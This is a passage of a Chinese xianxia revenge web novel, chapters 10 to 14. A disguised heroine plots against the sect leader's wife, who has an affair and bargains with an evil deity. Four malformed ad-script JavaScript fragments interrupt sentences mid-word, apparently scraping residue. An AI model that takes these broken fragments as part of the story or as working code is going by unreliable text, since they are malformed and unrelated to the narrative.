他身边站着林木儿,大红色祥凤飞霞衣,衬得她五官更艳丽了,发髻高挽,神彩飞扬,笑得端正大方,不像平时在苏一枝面前那样,笑起来总扯着一边嘴角。婚后她不再像之前那样总喜欢在衣服上附着灵力幻化出各种乱飞的叶子,看起来稳重许多。 苏一枝盯着两人,看他们庄严念着祭词,嘴唇张张合合,不由觉得好笑,这两人,看着真是人模人样啊。 她盯得过于投入,没注意系着红绸的白色灵兽被推上天火台又推下天坑,浅红色飞云烧酒沿着天坑边洒下去,激起酒香,引众人阵阵吸气惊叹,更没注意到,身边的大师伯祝从容一直盯着她瞧。 祝从容终于忍不住,伸手捅了捅苏一枝胳膊:“小师侄,你收敛点。” 苏一枝:“嗯。啊?” 祝从容低声道:“你不会是冲着宗主才来离火宗的吧?劝你趁早打消念头,不然死都不知怎么死的。” 苏一枝:“啊?” 祝从容:“你刚刚眼珠子都快盯冒烟了。宗主是好看,但不是那么容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 易肖想的。” 苏一枝愣住,片刻后笑出声来:“谢谢大师伯提醒。” 好笑,真的太好笑了,怎么会这样。 她的眼神,也许真的冒了烟,但那里,能看出一丝爱意? 这位丹药峰大师伯她不讨厌,当初刚上离火宗和新弟子们一起听课时,他还因为自己迟到之事,找自己谈过话。 那时候,自己还叫他大师兄。 他说的那些话,如今想来,其实是带着很大善意的。 此次回来,她作为丹药峰柳益长老亲传弟子,自然不必和新弟子们一起听课,不知大师伯是不是还要去讲课。如果可以,在未来短暂的相处里,她也愿意释放出一些善意,以弥补将来一网打尽时对他的愧疚。 祝从容见她就这么默认了,有些吃惊:“你果然是冲着宗主来的?” 他皱了皱眉,欲言又止了半天,还是摇头道:“师伯言尽于此,你好自为之。” “谢谢大师伯,大师伯放心。” 祝从容又开始欲言又止,半晌,道:“听师弟说,你有个很厉害的鼎?” 他口中的师弟就是柳益,丹药峰峰主祝永浩共收了三个徒弟,大徒弟祝从容,45岁,金丹中期,高级丹药师,二徒弟秦师宇,40岁,元婴初期,高级丹药师,三徒弟柳益,50岁,30岁时从青木宗转入离火宗,元婴中期,隐隐有进入大师级丹药师的迹象。 祝从容虽然排行老大,但天赋却是其中最低的,听说是个三灵根,虽于丹药一途极有天赋,却苦于灵根不足,修为始终停留在金丹中期,因而心火等级上不去,或许终生都无法迈入大师级丹药师行列,挺让人唏嘘的。 苏一枝掏出玄天鼎:“你说这个?” 祝从容一把将玄天鼎塞回苏一枝怀里,又迅速收回手:“小心点!你一个金丹初期,拿着这么个好东西,当心有人打你主意,回去再看。” 修士所有法器,从低到高分别为:法器,灵器,法宝,灵宝,其中法器灵器法宝有下品中品上品极品,灵宝则分为后天灵宝,先天灵宝,古宝,玄宝。 像苏一枝最初上离火宗时用的纸鸟,就只是下品法器,当时林桐桐的青木索是下品灵器,林木儿的草叶刀和枯针则是中品灵器,从棘是下品法宝。 现在苏一枝所拥有的冷焰刀是上品法宝,桃夭是极品法宝,玄天鼎表面是极品法宝,实则是先天灵宝,混元铃是后天灵宝,她目前无法驾驭也不知用途的千里江山图,则是品阶最高的玄宝,也就是上界遗落下界的灵宝。水月镜品阶最低,是下品法宝,当然,即使是下品法宝,也是让人眼馋的,毕竟很多金丹中期的人都还在用着灵器。 一直到仪式结束,回到丹药峰凌云阁,祝从容才又讨了那玄天鼎瞧了个仔细。 “极品法宝啊!”他赞叹,“用这个炼出的丹药,至少七品吧?会不会能炼出颗九品来?” 丹药品阶对丹药师的修为和炼丹的鼎炉以及材料要求都非常高,以玄天鼎的品阶,想炼出九品丹药,苏一枝努力一下或许可以,但苏苏目前肯定不行。 丹药师入门者为学徒,能稳定炼制出三品丹药者为初级,中级则要稳定炼出五品丹药,高级七品,大师级八品,能炼出九品丹药者,则是宗师级。目前整个灵岳大陆都没有宗师级丹药师,只有一个大师级,那便是长年闭关的丹药峰峰主祝永浩,也是祝从容的远房叔叔。 祝从容虽然身为峰主大弟子,10岁就入离火宗学习丹药,但灵根所限,所用丹炉也只是中品法宝,最多只能炼出七品丹药,如果有了玄天鼎的相助,或许他也能炼出八品来。 苏一枝看着爱不释手的大师伯,问:“宗主跟他夫人感情很好吗?” 11. 第 11 章 祝从容抚摸玄天鼎的手一顿:“问这做什么?说了让你死心了。” “我想知道。如果你能讲讲,我把玄天鼎借你炼一炉丹。” “当真?” “当真。” “不过你得答应我,最好死了这份心。” “我答应。” “整个修真界都知道,自上任宗主秦旺起,秦家就有个不成文的规定,不准二娶。这有多难得你知道吗?若是娶的妻子生育有问题,一不小心,宗主一脉就绝后了。就算能生,只一个妻子,又能生几个孩子呢?若孩子中没个出色的,也要面临后继无人的困境。秦旺宗主那辈,四个兄弟,一个种灵植,一个养灵兽,还一个入赘到白金宗管理矿脉去了。就他一个天份高的,还一心修炼不问世事,25岁才娶了钟灵夫人。后来钟灵夫人生秦炎宗主时难产而死,临死前定下秦家男儿不得二娶的规矩。所以到了宗主这辈,对夫人的要求极高,要天赋尚可,当得起宗主夫人这个身份,还要身体结实,能生孩子并且不会因为生孩子而死。” “所以林木儿符合条件吗?” “嘘!怎么能直呼名字呢。木儿夫人其实并不是很符合条件,她灵根够纯,但你也知道,灵根越纯,生育就越难,所以,他们成亲至今七年了,毫无动静。但是,”祝从容忽然压低声音,“在木儿夫人之前,其实是有个人挺符合的,长得好看讨喜,火土双灵根,不管修炼还是生育,虽然很难达到最好但都会超出平均,只是后来……不知怎么就失踪了,木儿夫人这才顶了上去。可能就因为不是第一人选,她这人极为敏感,哪个女弟子多看了宗主一眼,都没好果子吃。这些年不少女弟子死的死伤的伤,虽然表面上各有缘由,但真正的原因,大家都心知肚明。所以你千万别招惹她,听到没?至于你说的感情如何,好不好的有什么关系,反正也只会有这么一位宗主夫人。” “这么说来,之前失踪的那位女子,会不会也和她有关?” “别乱说!”祝从容白了脸,声音压得更低了,“夫人因为调理身体的原因,经常会来丹药峰,也在这里布了不少眼线,你说话可得注意点。当年我给那女娃上过几次课,后来就不见她来听讲了。听弟子们说是不开窍无法入门,受不了修炼的苦,就闹着要毁婚,被罚去思过崖悔过,精神承受不住压力,出了点问题,以至于竟然会……总之是做了些不是很光彩的行为,那时候恰逢老宗主出事,宗主心力交瘁,同意了她的退婚,之后就失踪了。应该跟夫人没什么关系,夫人是成亲后才变得敏感偏激。虽然看起来贤慧端庄,但极在意与宗主有关的一切。我把你当自己人才跟你说这些,你冷笑什么冷笑,千万别招惹她,听到没。” 苏一枝将玄天鼎按进祝从容怀里:“三天,能出几炉药,看你自己的了。” 趁着祝从容狂喜,她回到自己房间,布了个阵法,丢了个纸人在阵法里,让她暂时代替自己,在有人来时做些简单应对,然后一头扎进了识海内的寂灭空间。她必须在灵气充裕的地方凝神静气,来压制住心里那股狂躁。 一直以来,苏一枝只盯着林木儿周边的人和秦炎,竟不知道当年的自己在别人嘴里,居然被传得如此离谱。 当初被折磨得九死一生也拖了那么久才修改血灵书,为的就是让真相传得广些,再广些,结果却还是这样。 也是,像祝从容这种,虽然作用很大,地位却不高,接触不到很多事情的真相是正常的。 不气,不气,早晚,都会知道。 秘境如今每天只能呆一个时辰,苏一枝猜测只有突破出窍进入分神期,时长才会增加,心情平复后,她抓紧时间吐纳运气,离一个时辰还有最后一柱香的时间,才停下来,飞身至神木顶,去看林木儿。 林木儿正在梳妆,大红色祥凤飞霞衣换成了松柏绿绣浅草仙裙,秦炎站在她身后。 “每次祭完天坑就赶去参加纳新,你不累吗?都出嫁这么多年了,还把自己当成青木宗的人啊。” 林木儿转过头:“我这辈子都是青木宗宗主的女儿,这个改变不了。” “我只是心疼你这么辛苦。” “有什么辛苦,以我现在的修为,还怕这点距离?” 秦炎沉默了一会,说:“又要见你那便宜堂弟?” 林木儿噗嗤笑一笑:“怎么?你吃醋?” “他是你弟弟,我吃什么醋?我只是觉得那小子总对我有敌意,所以不喜罢了。” 林木儿梳妆罢,最后在眉心点了枚青翠的叶子,满意地站起身,走到秦炎身边,双手揽住他的腰,抬起脸仰望着他:“堂弟,领养的哦。” 看到秦炎脸色变了变,她咯咯笑着满意离去。 时间到,苏一枝被寂灭空间弹出,她收回纸人,就听到门外有打扫弟子传话,说让她去灵兽馆挑灵兽。 苏一枝低头看了看自己身上的海棠红缎面弟子服,心想不愧是亲传弟子,入门就穿高级弟子服,连灵兽都随便挑。 13年了,她再次来到灵兽馆。 纯白色的灵兽很多,其中好几只灵犬,五阶六阶都有,可每一只,都不是小白。苏一枝站在门口看了会,只说没有自己喜欢的,空着手回去了。 她已经有了灵兽,无法再挑选,之所以跟着来,一是懒得跟别人解释,二是,想来再看看小白曾经艰难生活过的地方。 在来离火宗之前,有天晚上她正在打坐,忽然听到山下隐隐传来呼救声。 声音来自沼泽深处约摸百里处,也就她境界高了才能听到。 苏一枝御起桃夭循着声音,看到一个女子伏在地上,护着怀里的人,一只背生双翅的猛虎正张着血盆大口,朝她脑袋咬去。 穷奇! 苏一枝紧张过后随即狂喜,混元铃脱手而出。 穷奇是上古凶兽,长得和老虎差不多,却比虎多了双翅膀,而且毛比虎更硬更尖利,硬刺一般,张开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来,等闲不得近身。爱好是吃人,而且热衷于吃好人,吃人时更是喜欢从头开始,咔嚓一口将头咬掉。 花了足足一天时间将那凶兽打上神识烙印收服后,才发现,它像穷奇,却好像又不是穷奇,传说中的穷奇威猛凶恶,毛硬如刺,可眼前这只,虽然之前张着血盆大口咬人,凶确实是凶,但不咬人的时候,怎么看怎么可爱,甚至可以说是憨态可掬了。而且它的毛也不硬,毛茸茸的,手感极好,抚摸几下后,毛就变得很顺,看起来柔软光滑,缎子一般。 苏一枝给它取名叫团团,考虑到带它进离火宗有可能会吓到别人的灵兽,又不忍一直将它放在寂灭空间里,干脆放任它继续在沼泽里撒欢,唤它时再来,反正它也挺桀骜不驯热爱自由。只是说好了,不准害人,否则抓回来关禁闭。 “苏苏,苏苏!” “小师侄!” 耳边突然响起祝从容的声音,吓了苏一枝一跳,她下意识转身看了看四周,然后反应过来这是修士间用来互传消息的传音符。 “苏苏,木儿夫人马上要来拿药,她会离开一段时间,药得多带些,我走不开,你按我说的去准备一下。” 苏一枝微微翘了翘嘴角。 这就是她选择来丹药峰的原因。 尽管青木宗盛产各种灵植灵药,白金宗又把持着诸多矿脉,但在炼丹炼器方面,却只能依赖离火宗,原因很简单,他们没有火。 他们也有自己的丹药师炼器师,却无论如何都无法与离火宗这种背靠天火之源又专修火系心法的人相比。 同样的药材丹炉,离火宗能炼出三品丹药,青木宗就只能炼出一品,同样的材料和锻造台,离火宗能炼出上品法器,白金宗就只能炼出下品。也正因如此,一直以来,离火宗都是三大宗门中最重要的那一个。 相对于炼器,丹药对修士们来说更为重要。 法宝再厉害,也只是辅助,自身修为的提升才是根本,更何况一些厉害的法宝也得有足够的修为才能驾驭。上到宗主,下到入门弟子,每一个人的每个阶段都需要丹药,新弟子需要洗髓丹筑基丹,想要突破瓶颈需要结金丹,结婴丹……甚至渡劫丹。 除了这些用来增加修为的基本丹药外,受伤需要疗伤丹药,保命需要增加防御力攻击力的丹药。更别提还有一些延年益寿驻颜美容的,以及,毒药。 苏一枝将祝从容提到的丹药一一整理好,摆在药房里间屏风后的玉石桌上。 千草凝碧丹20枚,仙肌道骨丹15枚,九紫玉露丸15粒,阴阳和气丹20枚,生花人元丹20枚。 千草凝碧丹用于木灵根者清理灵脉补充灵气,仙肌道骨丹美容养颜,其他三种全是用来调理身体辅助怀孕的,看来林木儿真的很想要一个孩子。 “你就是丹药峰新来的散修弟子?” 药房门口光线一暗,松柏绿色闪入房间,相隔十年,苏一枝终于再次近距离面对林木儿。 12. 第 12 章 苏一枝想过无数次,再次站在林木儿面前时,自己会是怎样的表现,想来内心必是波涛汹涌的,表情必是风平浪静的。 然而真的如此近距离看到林木儿,却是整个身体都止不住微微颤抖。 她转身去里间拿丹药,以平复自己的情绪,脑子里却走马灯般闪过一些片断。 血淋淋的手,小白绝望黯然失去生气的眼睛,随着轻飘飘一句“原来品阶这么低呀,也没什么用”,破体生剖取出又被一脚碾碎的内丹。 寒冰符,从棘,囚禁,无休止的折磨。 “苏一枝,你一个山野丫头,没有灵力,没有钱,没有地位,没有靠谱的家人做靠山,你觉得有人会信你不信我吗?” “拿你的青木索来,我要看这骚狐狸是不是怀了孩子。” “肚子里有没有东西,衣服扒了才看得清楚。” …… “我记得新入门的弟子应该穿水红色麻布衣。”林木儿声音在身后炸开,将苏一枝唤回现实。 苏一枝捧起药盒,走到她面前:“师父抬爱,收我为亲传弟子,一切吃穿用度,皆参照高级弟子标准。” 林木儿看她一眼,打开药盒:“药不对。” “哪儿不对?” “你连哪儿不对都不知道吗?” “……”苏一枝无语,她若当真只是个新入门的弟子,此时估计已经两股战战了,“我看不出哪里不对,夫人知道的话不妨告诉我。” “你师父呢?” “师父近日闭关钻研新药方。” “那叫祝从容过来。” 祝从容赶过来的时候是真的有点两股战战了。 他通过几日接触,觉得新来的小师侄聪慧沉稳,修为不低,又出身丹药世家,绝不可能出什么差错,才放心让她去拿药,没想到还是出了问题。 不知道究竟出了什么问题,又牵挂着炉里正在炼制的药,赶到药房的时候,祝从容额上都出了细密的汗。 他捡起地上的药盒,将散落的药丸一一比对着装进去,直起身来:“夫人,是哪里不对呢?” “你是丹药师还是我是丹药师?” “哦!”祝从容一拍脑袋,走到药柜边,又拿了十枚仙骨道肌丹,和六品木还丹及回元丹各二十枚,“确实搞错了。” 林木儿将药盒扔进储物袋,深深看了眼祝从容,又瞥了瞥苏一枝,冷哼一声:“下次不要把这么重要的事交给新弟子。” 待林木儿走出药房,祝从容虚空指了指苏一枝,摇头:“你是不是跟她说什么得罪她了?” “什么也没说。” “那就是你长得太好看了。罢了罢了,你先守着,有空把药方背背,我得走了我那炉药别坏了。” 苏一枝看着祝从容匆匆离去的背影,心想这位师伯倒真是个不错的人,可惜…… 可惜他资质所限,人微言轻。 可惜到最后,都是要死的。 她掏出镜子,看着里面那张像自己而又不是自己的脸,已经尽量让它没那么好看了,原来在别人眼里,还是那么好看吗? 对于容貌,苏一枝其实并没有什么概念。苏大壮和王闲云都长得不错,所以家里孩子也都挺好看,大家都说其中苏一枝长得最好,可苏一枝自己看不出她比弟弟妹妹们强在哪里。 不过这不重要,苏一枝想的是,林木儿从青木宗回来后会做什么。 但那是半个月以后的事,这半个月,林木儿都会呆在青木宗。 青木宗的纳新比离火宗人数上要逊色不少,只有八百人,其中有三十五名是女弟子。这一点倒是强过离火宗,离火宗近年来女弟子越发少了,今年更是千人中只有五人性别为女。也不知是巧合,还是他们刻意少招女子。若说刻意少招吧,想到丹药峰那个新来的女弟子,林木儿胸口忽然又有点发堵。 “堂姐。”耳边忽然想起道清冷的男声,林木儿转过头去,看到林河正朝自己抱拳。 20岁的少年人,表情却总是无悲无喜,人也淡淡的,甚至有种莫名的死气。 “钟仙没来?”林木儿脱口而出。 “堂姐说笑了,钟仙不是堂姐的朋友么。” “你要不说,我都忘了她是我朋友了,还以为她是你灵宠呢。” “堂姐不要这样开玩笑。” “林河,过来看着你弟弟。”远处传来呼唤声。 林木儿笑了:“婶婶在唤你。” 林河又抱了抱拳,翩然离去。 林木儿看着他的背影,想到那些关于他和自己的传言,不由觉得好笑。 这位堂弟,是叔叔林渊的养子。 林渊比自己父亲小7岁,要说各方面能力,确实是强过父亲不少,但爷爷临死终前还是将宗主之位传给了父亲,即使他的死亡是由父亲一手造成。 原因无他,父亲那时已经有了两个儿子,而叔叔林渊却只有女儿。 林渊除了发妻余芷,又娶了四位女子,一共生了七个女儿,就是没有儿子。后来余芷提议,说民间有传说,生不出孩子的,抱养一下,招一招,不久后就会有了,那生不出儿子,会不会抱养个儿子,也能招来呢? 说起余芷婶婶,除了一直生不出孩子外,人品相貌样样都好,青木宗上上下下交口称赞。 她如此提议,林渊自然同意,让她放手去办。 余芷于是不知道从哪里带了个9岁的孩子回来,那就是林河。 说来也怪,林河来到林家三年,余芷真的生下了属于自己的儿子,林森。 林森出生后林河的位置就有些尴尬,青木宗众人对他的态度也很微妙,林木儿本来与他没有多少接触,有时候看他靠近都选择离开,直到四年前,16岁的林河独闯秘境,得到一样宝物,叫觅魂珠。 听说只要将人的随身物品或是身体发肤等等于珠前燃烧,那珠子就能找到人的所在之处,哪怕肉身损毁,只有魂魄尚存。 当时林木儿心念一动,不知怎么的,忽然就想起了苏一枝。距离将苏一枝残躯扔进地坑已过去整整六年,扔进去时苏一枝并未死透,会不会,没死? 她向林河借觅魂珠,林河说觅魂珠认主,只能自己使用,没办法,她只得去地牢里寻了些还残留的衣料,在觅魂珠前面烧着了,等到珠子吸收够了燃起青烟,才跟着林河,顺着那烟,一起穿过北林,绕过地坑,在沼泽里转了一小圈,一无所获,终于放下心来。 之后她让林河先回去,自己在沼泽附近散心,结果遇到了一个至今也说不清楚到底该不该认识的人,鱼跃。 “林河,不要带着森儿乱跑!”余芷的声音再次传来。 林木儿抬眼,就看到林河牵着他那8岁弟弟林森的手,正想往自己这边走。 余芷是真的很怕林河会跟自己有什么吧?林木儿翘起一边嘴角,想来也是,虽说没有血缘关系,但名义上到底是姐弟,真要有了什么,估计够仙门笑上个几十年的。所以婶婶应该很希望钟仙跟林河能成,只可惜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,林河好像对钟仙没什么意思。 这些情情爱爱的,林木儿其实并不在意,不管别人如何传林河喜欢她,她在意的,也只有林河的实力,以及今后他在青木宗的地位,会不会影响到自己哥哥。 林木儿有两哥一弟,大哥林明,长自己20岁,今年已然50,却只有金丹初期。二哥林暗,39岁,金丹中期,说起来尚可。但林木儿记得,十年之前,哥哥们就已经是这样的修为了,大哥或许一般,二哥绝对不差。可不知为什么,十年以来,他们修为竟无半点进步。 至于弟弟林柯,19岁,听说马上就能突破金丹期了,看起来不错,但想想林河只大他一岁,听说已经元婴初期,自己也才元婴初期,人比人,真是气死人。 父亲宗主之位已然因为资质问题经常被人议论,坐得不甚安稳,不会到了自己这一辈,真要大权旁落吧? 虽说林河不是亲生的,但是,万一呢? 他那个弟弟倒是不足为惧,虽然纯粹水灵根,又自幼聪慧,林木儿看了林森一眼,但体弱多病,没准哪天就病死了。 青木宗虽然招的弟子比离火宗少,但仪式却更为繁琐,一切终于消停下来,已是五天之后。林木儿来到灵植园,挑选自己要带的灵植。 林潭出现,略有些不满:“每次回来,大把灵植往他们离火宗搬,倒不见你拿回娘家什么。” 林木儿掏出药盒,里面是六品木还丹和六品回元丹各20枚:“这些够吗?” “够什么够?你不想想你带回去这些灵植够炼多少木还丹的。你弟正在冲击金丹期,何不多带些结金丹回来?” “父亲这话说得好笑,青木宗和离火宗本来就是合作关系,一个提供灵植,一个帮忙炼丹,你们每月也都会派人送去灵植并取回所需丹药。林森的丹药据我所知早就取回来了,何必让我再带?我拿这些灵植,是自己需要,不是替你们传递。你以为我想那么远回来拿这些灵植?还不是离火宗灵植园里的品阶都太低。” 林潭叹了口气:“肚子还没动静?” 林木儿没说话。 林潭又道:“你就是灵根太纯粹了,不如灵根驳杂些,生孩子还没那么难。” 林木儿动气:“不要再说这样的话了,如果只能选一个,生孩子跟修成大道,你觉得我会选哪个?是你的话你会选生孩子吗?我知道你一直恨我天赋过高,想着要是我能把这天赋给大哥就好了。但是可惜,我的就是我的,谁也夺不走。” “放屁,满口胡言,我一个男人生什么孩子。” “真是神经,你就听到了生孩子。”林木儿撇嘴,“还有,我娘早死了,我没有什么娘家。” “你!”林潭气得嘴唇都哆嗦了,“你不要老觉得我对不起你娘,你娘是生你正常死的,又不是我害的。” “那我还得谢谢你是吧?有人只娶一个老婆还有专门住处,住处用老婆最喜欢的法宝来命名,老婆死后谨记教诲坚决不准儿子二娶。而有的人呢,老婆一大堆,名字都记不清,全塞一个洞府里,洞府名字都叫育仙苑,你怎么不把老婆们扔灵兽馆繁殖算了。哦,我忘了,”林木儿盯着林潭,慢慢靠近他,一字一句,“你的老婆们,已经全死了呢。你不会,克妻吧?” 林潭扬起手,却被林木儿迅速躲开了,他只得冲着林木儿背影叫:“你以为没你的份吗?” 林木儿根本不理他,她走出灵植园,林桐桐在门口等她。 她要带林桐桐去见一个人,做一件事。 13. 第 13 章 苏一枝端坐神木之上,看着沼泽里的三个人,简直要笑出声来。 她以前怎么没发现这出好戏呢? 秦炎啊秦炎,你知道自己头上已经一片青青草原了吗? 这种好戏,岂能独赏,苏一枝飞至剑苍山,那里盛产各种矿石,其中有一种叫玄影石,可以将周围所见一切记录下来,虽然影像只能留存7日,但可以反复记录,7日复7日,7日何其多。 林木儿不知道自己所做一切都已映入别人眼底,她用幻境符支开林桐桐,跟鱼跃抱怨:“自从被她见到你后,就总要我带她再来见你,我实在是被叨念得不轻。” 鱼跃摇着手中的寒冰扇,寒气四溢,丝丝沁入骨髓,林木儿不由瑟缩了一下。 “谁要你跟她说我是‘救你一命的恩人朋友’?要是直说我是你姘头,不就没这事了。”鱼跃收起扇子,一双狐狸眼似笑非笑。 “什么姘头,真难听。”林木儿嗔道,“你确实就是对我有救命之恩的朋友啊。” 她看着面前这张脸,明明38岁,看起来却宛如少年般,说是18也有人信。他总是闲闲摇着扇子,吹出一地冰凉,让人在心醉神迷中又有些恐惧,怕自己寿命或魂魄不知不觉被那凉风吸了去。 黑水门地处沼泽之北,是世人眼中的邪修,他们修习一种叫刹魂术的邪术,可以夺取别人的修为甚至寿命直接为自己所用,因此和他们接触,要万分小心。 尽管早已你中有我鱼水交融,也总被对方邪气眼神勾起莫名□□,但对于和他的接触,林木儿始终有顾忌。 “她会去多久?”鱼跃问。 “幻境一个时辰后就会消失。” “那还不抓紧。” “等等,你们黑水门的黑水邪神,什么愿都可以许吗?” “这种时候提那个做什么?” “当然是想许愿。” “要付出代价的。” “我想要个孩子。什么代价?” “50年寿命。” “我付。” “你真扫兴,非要这个时候吗?” “快些,嫌扫兴就不要浪费时间。” 一个时辰后,林桐桐终于从幻境中清醒过来,她看着眼前归于平静的湖面,内心却久久不能平静。 因为林木儿对路记得也不是十分清楚,她们足足飞行了三日才来到这里,远远地,就看到鱼跃摇着扇子站在湖边看鱼。 听到她们的声音,鱼跃转过身来,林桐桐捂住胸口,一颗心险些要跳出胸膛。 为什么这个世界上竟然有如此好看的男人?被那双狐狸眼一扫,林桐桐整个人都烧了起来。 林木儿很识趣,躲开了,鱼跃牵着林桐桐的手,踏水行至湖中央,分水而下,湖底有属于他们的秘密小屋。 他们在屋里翻云覆雨,湖水涌起惊涛骇浪。 等一切平息,鱼跃将林桐桐送出水面,便消失不见。 湖面已经平静许久,林桐桐大口喘着气,又过了好一会,才看了看四周,叫道:“木儿,林木儿!” 林木儿走出树林:“完事了?感觉如何?” 林桐桐红着脸:“死而无憾。谢谢你啊,木儿。” 林木儿笑笑:“你开心就好。” 她竟不知道,林桐桐内心的想法如此热烈。来这里时她给林桐桐用了张幻术符,进入幻境后,境随心转,心里渴望些什么,幻境便会发生什么。只是这样的幻境消耗灵力极大,所以一张符只能维持一个时辰。 不过,也够了,她们都很满足,都得到了自己想要的。 林木儿也想过自己这样算不算是对秦炎的背叛,她喜欢秦炎,从很小很小的时候就喜欢,越是得不到,就越是想要。但真成了夫妻,尤其是跟鱼跃相识之后,她终于明白自己跟秦炎之间缺少的是什么。 秦炎太过端着了,总是淡淡的,虽然在没当宗主的那些年,他一身红衣如火,灼得人目眩神迷,但眼神始终是冰冷的,平静的。不像鱼跃,只一个眼神,就能蛊惑得人欲生欲死。 可她不会离开秦炎的,无论发生什么都不会,他们是全天底下最相配的人。 激情?别处去找也一样。 现在最要紧的,是给秦炎生个孩子,身为宗主,他们不能没有后代。 回到离火宗,林木儿立马带着灵植去了丹药峰,将正在钻研药方的柳益叫了出来。 “这些都是灵植园里最好的了,你瞧瞧够不够。”林木儿皱眉,“到底什么时候才能弄出药方?” “得试,”柳益皮肤白净,一脸温润,说起话来也慢条斯理,“生育一向是修真界女子最大的难题,若不是如此,修士们何必去娶那一个又一个的凡人女子呢。” 林木儿白他一眼:“你新收的徒弟怎么回事?资质很好吗?” 柳益来了精神:“苏苏啊?资质算是中上,虽然29了才金丹初期,但她不是散修嘛,缺这少那的。不过,她有样好东西,听说是她父亲四处游历时得到的。这东西的妙处,我看她自己都未必知道。” “直接说,别卖关子。” 柳益站直了身子,正色道:“我那徒弟的宝贝,叫玄天鼎,极品法宝,有生发之效。” “我们修真界没人秃头吧?” “不是那个生发,”柳益笑了一下,“有万物生长之意。如今灵气稀薄,土灵更是稀缺,而那玄天鼎,土气浓郁。土灵,乃孕育万物之灵,所以那鼎,在修为足够的人手里,可以活死人,生白骨。只可惜苏苏那丫头不知道,只拿它来炼药。” 林木儿低头看着自己手指,几片柳叶在她指间翩飞缠绕,她看了会,抬起头:“那把鼎抢了不也一样?” 柳益一愣:“那鼎的品阶,我总觉得不止极品法宝这么简单,想要杀主夺宝,我的修为恐怕不够。” 在林木儿开口前,他又小声补了句:“估计至少得分神期才行。” “可她一个金丹初期,又是怎么让那鼎认主的呢?” “是她父亲所传。” “那她父亲能让鼎认主,修为应该也不低,怎么此前从未听说。” “天下散修何其之多,更何况,若是秘境奇遇,也不一定非得修为相配才能得到宝物认可。” “所以这个徒弟你收定了呗。” 柳益冷汗冒了出来,他低头抱拳:“玄天鼎有生发之效,用它炼制丹药,定然也有此效。” “那我就等你的好消息。” 玄天鼎里此时就有一炉药。 苏一枝和祝从容围在旁边,伸着脖子看。 柳益走过去:“大师兄,苏苏她小孩子气,你怎么也这样,不知道的还以为你们在馋锅里的肉呢。” 祝从容摆手:“你知道什么,这可比什么肉都宝贵得多。” 先前祝从容用玄天鼎,三天时间炼了两炉丹,果真出来就是七品。 而柳益试了一炉,直接八品。 若能稳定炼出八品丹药,他会成为灵岳大陆第二位大师级丹药师,但柳益也知道,自己缺的就是稳定。 他目前元婴中期,偶尔也能炼出八品,只是偶尔。有了玄天鼎,倒是可以稳定炼出八品,可玄天鼎是他的吗? 若单靠自己,恐怕得元婴后期才能稳定。 真是,叫人羡慕嫉妒啊,这最最适合他的宝贝,怎么就落到眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前小徒弟手里了呢。 不过柳益非常想得开,徒弟的,还不就是他的?只要徒弟还在离火宗,玄天鼎,他想用就用。 他咳了一声:“夫人又送来一些灵植,她的这批药,和宗主要的那批,我亲自炼。” 言下之意就是最近他要用玄天鼎了。 苏一枝撅起嘴:“我还想炼一些驻颜丹呢。” “那个普通药炉就能炼,”柳益看了看苏一枝,又道,“都这么漂亮了,还要什么驻颜丹?你可别给我招出什么是非来。” 他想着刚才林木儿的话,总觉得自己这小徒弟是不是因为太过漂亮惹了祸,有心提醒一句,又觉得算了,真要有什么,到时候玄天鼎岂不就无主了? 玄天鼎护主,不能通过杀主夺宝,但若它的主人被别人所杀,或许,自己也有那么一丝机会,可以让它主动认主?不然苏苏父亲是怎么收的它? 柳益摇了摇头,觉得自己多少有点过于阴暗了,但话又说回来,若徒弟洁身自好,别人也没机会对她动手。 这世上的很多事,都是咎由自取。 药终于出炉,祝从容嗷地叫了一声。 这是一炉续接丹,修士若肢体受伤,断了手脚之类,修为不够无法自愈,服用此丹,可以将断掉的肢体连接起来,效果如何,得看丹药品级。八品以上者,服用后外表看不出痕迹,也不影响使用。若是能到九品,则被续接上的肢体甚至会更加强壮。 此时玄天鼎里安安静静躺着九粒金色丹药,八品,且上面隐约有丹纹流动。 难怪祝从容会叫出声来,八品有了丹纹,药效岂不是跟九品差不多了? 柳益低低叹了一声,他觉得这小徒弟,还有她那宝贝鼎,自己就算想瞒,也瞒不住了,没多久,估计丹药峰的山头都要被那些求药者踏平。 他耐着性子等两人将药收好,一把捞起玄天鼎:“我去给宗主和夫人炼药,你们守着外面,苏苏,没事多看看医书和药方。” 苏一枝应了声,就听柳益边走边低声嘀咕:“炼什么续接丹,浪费,也不怕以后睡觉的时间都没。” 祝从容听到了柳益的嘀咕,呆了一瞬,对苏一枝说:“苏苏,我们以后可能会很忙。” “为什么?” “因为以后会有很多很多人来找我们求药。” 炼续接丹的主意是苏一枝提出的,祝从容觉得有意思,便跟着一起炼了。 但现在想想,续接丹这种东西,受众群体是那些初中高级弟子,精英以上一般不需要,因为手脚轻易不会断,断了也能再生。胳膊腿儿容易断又无法再生的人,数量是很庞大的,以往的疗伤丹药只能疗伤,残了就是残了,若是被他们知道有续接丹的存在,丹药峰的门槛的确会被踩断。 祝从容将九枚续接丹悉数收进怀里:“这药就不分发出去了,留存备用吧。” 他今年也收了两个小徒弟,不同于苏苏,俩娃笨笨的,还在跟着大部队一起听课呢。虽说以后大部分时间都会呆在丹药峰炼药,但总要出门历练修为才能进阶,说不定哪次就……他得给徒弟留着。 主要是,他不想让太多人知道他们有这东西。 苏一枝笑笑:“听大师伯的。对了,我父母当年沉迷丹药丹炉,收集了不少材料,我手里还有一些,算了算够做两个丹炉,想去请炼器峰长老打造,又怕小辈请不动,大师伯跟我一起去呗。” 祝从容心思还在那续接丹上,漫不经心道:“什么材料?炼药室里丹炉多得很,没必要再去打。” “后黄石,寒玉粒,和火云紫晶。” 祝从容瞪大了眼睛:“走!现在就走!我请秦钟长老亲自炼!” 14. 第 14 章 丹药峰在离火宗的东南角,炼器峰则在西南角,挨着思过崖,思过崖北边一点就是刑法堂,犯了错又不思悔改的弟子,往往会在刑法堂受罚后,再被扔到思过崖悔过。 